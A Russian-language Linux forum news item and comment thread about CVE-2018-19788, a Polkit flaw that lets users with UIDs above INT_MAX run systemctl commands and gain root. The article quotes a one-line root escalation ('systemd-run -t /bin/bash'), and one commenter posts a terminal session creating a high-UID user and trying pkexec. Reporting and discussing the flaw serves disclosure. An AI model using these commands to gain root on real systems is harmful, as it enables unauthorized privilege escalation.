LINUX.ORG.RU

Обнаружена уязвимость в Polkit, которая позволяет выполнять любую команду systemctl пользователю с низкими привилегиями

 , , ,


1

2

Уязвимость CVE-2018-19788 присутствует на большинстве операционных систем GNU/Linux и позволяет пользователю, чей UID превышает 2147483647, выполнить любую команду systemctl, равно как и получить root-права.

Проблема существует из-за ошибки в библиотеке Polkit (другое название PolicyKit), заключающейся в неправильной проверки запросов от пользователей с UID > INT_MAX. Где INT_MAX это константа определяющая максимальное значение переменной типа int, равняющаяся 0x7FFFFFFF в шестнадцатеричной или 2147483647 в десятичной системе счисления.

Исследователь по безопасности Rich Mirch (аккаунт в Twitter 0xm1rch) представил успешно работающий эксплоит, демонстрирущий данную уязвимость. Для его корректной работы требуется наличие пользователя с идентификатором 4000000000.

В Twitter'е предлагают гораздо более простой способ получения root-прав:

systemd-run -t /bin/bash

Компания Red Hat рекомендует системным администраторам не создавать аккаунты с отрицательными значениями UID или UID превышающими 2147483647 до тех пор, пока не будет выпущен патч, исправляющий уязвимость.

>>> Подробности

★★★★★

Проверено: Shaman007 ()
Последнее исправление: ls-h (всего исправлений: 5)

Ответ на: комментарий от eternal_sorrow

Вот:

root@devuan:/home/user# useradd -u 4000000000 -m backdoor
root@devuan:/home/user# sudo -u backdoor bash
backdoor@devuan:/home/user$ id
uid=4000000000(backdoor) gid=1001(backdoor) группы=1001(backdoor)
backdoor@devuan:/home/user$ pk
pkaction    pkcon       pkill       pkttyagent  
pkcheck     pkexec      pkmon       
backdoor@devuan:/home/user$ pkexec /bin/bash

(process:2436): GLib-GObject-WARNING **: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/bash' as the super user
Authenticating as: root
Password: 
backdoor@devuan:/home/user$ 

ne-vlezay ★★★★★
()
Ответ на: комментарий от ArkaDOSik

user@localhost:~$ systemctl bash: systemctl: command not found user@localhost:~$ systemd-run -t /bin/bash bash: systemd-run: command not found

У меня не диван, но дебиан с выпиленным системд. Эксплойт не прокатил

anonymous
()
Ответ на: комментарий от eternal_sorrow
backdoor@devuan:/home/user$ pkexec /tmp/exploit.sh 

(process:2768): GLib-GObject-WARNING **: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/tmp/exploit.sh' as the super user
Authenticating as: root
Password: 
backdoor@devuan:/home/user$ ls /tmp
exploit.sh  ssh-Gjtm5I19JuFk
backdoor@devuan:/home/user$ cat /tmp/exploit.sh 
#!/bin/bash

id >/tmp/id
ne-vlezay ★★★★★
()
Ответ на: комментарий от ne-vlezay

Выпили сначала policykit. У меня в системе с systemd уязвимости нет.

imul ★★★★★
()
Ответ на: комментарий от ne-vlezay

После долгих и частых плясок с бубном от пульсаудио в 2008 у меня возникла неприязнь к Поттерингу и всему, что он делает, поэтому системд я встретил уже негативно и первым делом всегда его выпиливал или выбирал опенрц в генту. Как вижу, я не ошибся

anonymous
()
Ответ на: комментарий от imul

Есть, куда ж без него. Ломает меня каждый раз вбивать пароль при монтировании дисков или флешек. Я, конечно, параноик, но не красноглазик - удобство мне тоже нужно

anonymous
()

Интересно, что в pkexec дополнительно явно проверяется uid (поэтому через pkexec не работает, а через systemd-run работает): https://gitlab.freedesktop.org/polkit/polkit/blob/master/src/programs/pkexec....

Кто-то что-то знал?

deadNightTiger ★★★★★
()
Последнее исправление: deadNightTiger (всего исправлений: 1)

а, это тот polkit у которого конфиги на жиесе. торжество инжинерной мысли.

anonymous
()
Ответ на: комментарий от kirk_johnson

Зависимость софта, которая используется для реализации фичи — не часть программного продукта? Жги еще.

Напомни, как называется программный продукт?

tailgunner ★★★★★
()
Ответ на: комментарий от eternal_sorrow

Следи за руками: убираем systemd - не прокатывает. Ставим systemd - получаем рута. Polkit не часть systemd? Ок. Тогда ему вообще параллельно, есть у вас s-d или нет. Тогда почему именно polkit виноват в том, что именно часть systemd в этом случает дает привилегии суперюзера? Вы все упоротые какие-то.

anonymous
()

Блять, ну только одного слова не хватает в заголовке новости... remote или local...

проверяльщик ДЭбил

anonymous
()

У тех, у кого нет systemd это не работает? Или все же работает?
Опять таки, если не рутом, то кем внесется пользователь с таким uid

sehellion ★★★★★
()
Ответ на: комментарий от anonymous

А почему в прошедшем времени? У меня нет мыши уже лет 8.

imul ★★★★★
()
Ответ на: комментарий от anonymous

Следи за руками: убираем systemd - не прокатывает. Ставим systemd - получаем рута.

Убираем polkit - не прокатывает. Как так, ведь якобы уязвимый systemd есть.

Тогда почему именно polkit виноват

Потому что если бы он работал без ошибки, дыры бы не было.

tailgunner ★★★★★
()
Последнее исправление: tailgunner (всего исправлений: 2)
Ответ на: комментарий от sehellion

Сам по себе polkit не дает рута, это только фреймворк для выдачи разрешений. В частности, systemd при управлении им через dbus (systemctl, systemd-run) как раз использует polkit для авторизации.

pkexec (в большинстве дистрибутивов) явно проверяет uid пользователя, поэтому через него уязвимость не эксплуатируется.

deadNightTiger ★★★★★
()
Ответ на: комментарий от anonymous

Узбагойзя, у меня и с сыстемдэ не уязвимо.

imul ★★★★★
()
Ответ на: комментарий от tailgunner

Поясню. Итак, в polkit ошибка, которая должна быть исправлена. Этого никто не отрицает. Меня, собственно, совершенно другое выбесило. Polkit - внешняя сущность по отношению к systemd? Внешняя. Systemd использует ее данные? Использует. Где, сука, проверка входных данных от внешней сущности на корректность? Это даже в букваре трупоптицы для дошкольников написано! Если бы написали, что, типа, да, косячок-с, надо бы исправить, - вопросов бы не было, все могут налажать. Но, сука, люди, называющие себя разработчиками, пишут, что не проверять входные данные - это нормально и правильно. И еще потом о компетентности других рассуждать. Разработчики, *ля.

anonymous
()
Ответ на: комментарий от anonymous

Тут всё просто. Никто не в курсе, что такое Полкит и уязвимости в нём мало кого волнуют. А вот Системдэ - другое дело.

anonymous
()

Выбросите уже весь легаси-хлам на C, и замените качественными альтернативами на безопасных языках, вроде Rust.

anonymous
()
Ответ на: комментарий от anonymous

Где, сука, проверка входных данных от внешней сущности на корректность?

Но uid == 4e9 корректен. Напомню, что uid имеет тип unsigned int.

сука, люди, называющие себя разработчиками, пишут, что не проверять входные данные - это нормально и правильно. И еще потом о компетентности других рассуждать. Разработчики, *ля.

Я понимаю твой праведный гнев. Да, первый разработчик systemd - чванное ничтожество. Но в этом случае он (или его последователи) всё делали правильно (или, скорее, не сделали ничего неправильного).

tailgunner ★★★★★
()
Последнее исправление: tailgunner (всего исправлений: 1)

ох уж эти переполнения стека. А ещё вечная лень проверять ввод пользователя. Это плохо.

anonymous
()
Ответ на: комментарий от anonymous

ох уж эти переполнения стека

Это не преполнение стека. Это при желании можно назвать integer overflow, но, в общем, это и не overflow.

tailgunner ★★★★★
()
Ответ на: комментарий от anonymous

В этом случает косяки и в systemd (в части, использующей polkit), и в polkit. А заявления в стиле «not-a-bug», подобные тем, что я видел в треде, полностью характеризуют пафосно балаболящих «разработчиков».

anonymous
()
Ответ на: комментарий от kirk_johnson

а еще автобус зависит от дороги, по которой он едет. а дороги строят на налоги, которые платят граждане, в том числе и ты. ты виноват в смерти бедных детишек, урод.

Deleted
()
Ответ на: комментарий от liberty1

класс так можно обойтись без пароля на домашнем пк, а то пробел приходится нажимать

dr04 ★★
()
Ответ на: комментарий от anonymous

а, это тот polkit у которого конфиги на жиесе. торжество инжинерной мысли.

Да, ето он. Он ещё очень любит покрашиться где-то внутри libmozjs и накакать в логи регистрами процессора. Надёжная штука крч.

d_a ★★★★★
()
Ответ на: комментарий от anonymous

Да это всё фигня. Кто даст гарантию, что на экзотическом железе этот баг себя не проявит. Либо на экзотическом компиляторе. Вообще-то тот unsigned int и двухбайтовым может быть - запрета нет. Это фундаментальная проблема языка программирования, которую должны затыкать программисты учитывая множество факторов, которые не всякий сможет и упомнить. Вместо uint32_t (которого раньше в помине не было) используется тип не фиксированного размера. При этом все широко известные компиляторы рассматривают его как 4-х байтный. Но сам по себе он от этого таковым не становится. Короче, один из принципов Unix (переносимость) нагло поперается самим Си издавна - его нелепостью и несовершенством.

anonymous
()
Ответ на: комментарий от Deleted

а еще автобус зависит от дороги, по которой он едет. а дороги строят на налоги, которые платят граждане, в том числе и ты. ты виноват в смерти бедных детишек, урод.

Нет, ты ошибаешься. Между заказчиком и исполнителем есть прямая связь. Кто-то (исполнитель) берет на себя ответственность за качественное исполнение.

kirk_johnson ★☆
()
Последнее исправление: kirk_johnson (всего исправлений: 1)

Как хорошо, что у меня нет systemd

annulen ★★★★★
()
Ответ на: комментарий от kirk_johnson

я не ошибаюсь, я использую литературный прием «гипербола». а ошибаются хейтеры сустемди, которые ругают поттеринга за «не-юниксвейность» и «комбайность» его «поделки», а потом ставят ему в вину баги в чужих проектах.

Deleted
()
Ответ на: комментарий от Deleted

я не ошибаюсь, я использую литературный прием «гипербола». а ошибаются хейтеры сустемди, которые ругают поттеринга за «не-юниксвейность» и «комбайность» его «поделки», а потом ставят ему в вину баги в чужих проектах.

Исчо раз — если используя чужую поделку ты позволяешь получить рута в своем софте — проблема у тебя :)

kirk_johnson ★☆
()
Ответ на: комментарий от kirk_johnson

получить рута в своем софте

получить рута в линаксе, прастите поправил. и за мельдонии со спектрам тоже линус нам ответит, сожгем его на костре

Deleted
()
Ответ на: комментарий от kirk_johnson

Проблема у обоих. Но если разраб не проверил входные данные чужой поделки и тем самым позволил получать рута - то разраб виноват.

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.